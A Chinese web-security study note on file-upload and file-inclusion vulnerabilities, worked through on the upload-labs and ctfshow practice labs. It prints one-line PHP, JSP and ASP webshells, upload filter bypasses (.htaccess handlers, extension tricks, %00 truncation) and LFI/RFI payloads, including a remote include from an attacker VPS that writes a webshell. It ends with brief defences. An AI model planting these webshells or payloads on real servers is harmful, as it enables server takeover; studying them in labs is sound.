IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> web安全基础--文件上传笔记 -> 正文阅读

[PHP知识库]web安全基础--文件上传笔记

课程: https://www.bilibili.com/video/BV1VA411u7Tg?p=10

文件上传

一些web应用程序允许上次图片、视频、头像和许多其他类型的文件到服务器中。文件上传漏洞就是利用服务器代码对文件上传路径变量过滤不严格将可执行的文件上传到一个服务器中,再通过URL去访问以执行恶意代码

举例危险代码

一句话木马

<?php eval($_POST[0]);?>
<?php phpinfo();?>

jsp木马

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

这是一条无回显执行系统命令,用来反弹shell

(关于jsp木马:https://www.jianshu.com/p/123db17b78a0)

asp木马

<%execute(request("chopper"))%>

execute 方法从另外一个 ASP 文件中执行 ASP 文件。在被调用的 .asp 文件执行完毕后,控制权会返回原始的 .asp 文件。

(关于asp木马:https://www.cnblogs.com/xiaozi/p/7560907.html)

常用工具

中国蚁剑
菜刀

文件上传的利用

步骤

首先需要绕过服务器上传.php或者.asp.jsp文件

然后 我们还需要知道将文件上传的路径和文件名

最后通过url访问并执行文件

前端绕过

靶机使用:upload-labs,在BUU的Basic中有,可以直接使用

例如用pass-01,上传一个.php文件会显示只允许上传.jpg或者.png这类的照片文件

有两种方法:

一种是将像上传的.png文件改后缀名上传,并且用Burp suite抓包,将包里的png改回php再发送,可以上传成功。例如上传的是<?php eval($_POST[0]);?>,由于原本对上传文件的表达形式是图片所以并不能执行次php文件,但是可以根据收到的包找到文件的路径,然后用url访问这个路径执行此文件就好了。

但是这里报错了,显示没有0这个参数,可以借助蚁剑工具,对这个url进行测试,而<?php eval($_POST[0]);?>中可以理解位连接密码就是0,然后测试连接,显示连接成功,然后可以添加到数据管理中,在这里双击就能进入对应目录了,而且还可以进入终端

另一种方法比较简单,利用的是客户端绕过 ,就是直接在浏览器中设置禁用js就可以将文件上传成功了(因为这里对上传文件的限制是通过js实现的),当然执行的话依旧是没有执行的,只是pass-01仅要求上传个文件而已

服务器绕过

服务器一般是同content-type进行验证的

例如pass-02

尝试上传一个php文件,跟上面一样用burp suite抓包,发现这里显示了报错,文件类型不正确

这里是服务器使用的content-type进行验证,根据抓到的包里,显示content-7type:application/octet-stream

然后我们可以知道pass-02的码源

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

所以将content-7type改成可以上传的类型,比如image/jpeg然后就会发现不报错了

同样可以找到路径直接访问

文件扩展名校验绕过

包括黑名单白名单

其实像上面pass-01就属于白名单,明确了只有png、jpg、gif可以上传

而pass-03是黑名单,禁止上传php、jsp、asp、aspx文件

除此之外还有文件内容头检验(GIF89a)文件幻术检测

或者文件内容检测(检测内容是否合法或者含有恶意代码,二次渲染配合文件包含二次渲染)

像pass-03这种就可以后缀名改为php3、php5这种或者Php、pHp改大小写的也可以上传成功

但是会发现改成php3之后会发现虽然上传成功了,但是并不能执行

这是由于apache的配置文件httpd.conf中有一句是说将php3、php5、php7这些按照php执行,但是这句话可能是被注释了所以导致了php3并没有按照php执行,所以没有达到想要的结果

注意更改配置需要重启才行

然后还有的可以通过双写后缀名绕过、通过不符合win命名规则的例如test.php:1.jpg这些windows会自动去掉不符合规则符号的后面去掉就可以配合解析漏洞绕过、%00截断,php<5.3.4时,shell.php%00.jpg可截断%00后面的内容、c语言中的%00、apache中.htaccess绕过、nginx中/user.ini绕过

.htaccess绕过

例如pass-04

原理时.htaccess属于配置文件,而对于php网站,在执行时先执行目录下的配置文件,再执行php文件,所以就可以绕过

<FilesMatch "1.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>
//将1.jpg当成php运行

例如burp suite抓包过程中改名字为.htaccess,内容为上述内容

然后再上传一个带shell的1.jpg就可以成功绕过并且按照php运行

内容检测绕过

就是会对内容进行过滤,确保里面不包含<??>php这种

然后可以通过免杀shell

例如再PHP5种就支持<script language=php> @eval($_POST[123]);</script>

常用例子

如果是要读取系统目录找flag的话,就可以用

<?php
$func='syste'.'m';
$arr=array('cat ../f*');
array_map($func,$arr);
FUZZ字典及进行模糊测试

文件包含

常用函数

include()使用此函数,只有代码执行到此函数时才将文件包含进入,放生错误也只警告并继续执行

include_once()功能和上面一样,区别在于重复调用同一文件时,程序只调用一次

require()使用此函数,只要程序执行,立即调用此函数包含文件,有错误会立即停止

require_once()

本地文件包含(LFI)

情况有:

读取敏感文件

利用封装协议读源码,例如?file=php://filter/read=convert.base64-encode/resource=index.php

包含日志文件getshell,通过将文件写入日志文件,例如apache的日志文件路径为/var/log/apache2/access.log而nginx日志文件在/var/log/nginx/access.log

制作照片木马

php的伪协议

file://协议

php://协议,例如/?file=php://input,但是这里注意需要服务器配置文件种allow_url_include=on即允许加载远程文件才行。
例如,ctfshow web-3修改抓到的包如下
在这里插入图片描述

data://协议,也是需要allow_url_include=on,例如/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=这里是利用data协议上传了一条base64编码的命令<?php system("cat flag.php");或者不通过base64编码/?file=data://text/plain,<?php%20phpinfo();?>

远程文件包含(RFL)

需要php.ini中开启allow_url_includeallow_url_fopen

例如,远程包含webshell
?arg=http://攻击者的VPS/shell.txt

这种是连接攻击者的服务器,会在网站目录生成名为shell.php的一句话木马

这里shell.txt的内容可以是

<?php
	fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');
?>
url字符串绕过

可以用双编码,例如,/?file=php://filter/read=convert.%2562ase64-encode/resource这里是对base的b进行了双编码绕过(b=%62;%=%25;b=%2562)

%00截断

条件:magic_quotes_gpc=off并且php版本<5.3.4

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>

浅析php文件包含及其getshell的姿势 - 先知社区 (aliyun.com)

防御

设置allow_url_include=off

配置open_basedir=指定目录,限制访问区域;

过滤../等特殊符号;

修改apache日志存放地址

开启魔术引号magic_quotes_qpc=on php 4 5;

尽量不要使用动态变量调用文件,直接写要包含的文件

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-06 10:53:41  更:2022-05-06 10:54:00 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/20 0:46:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码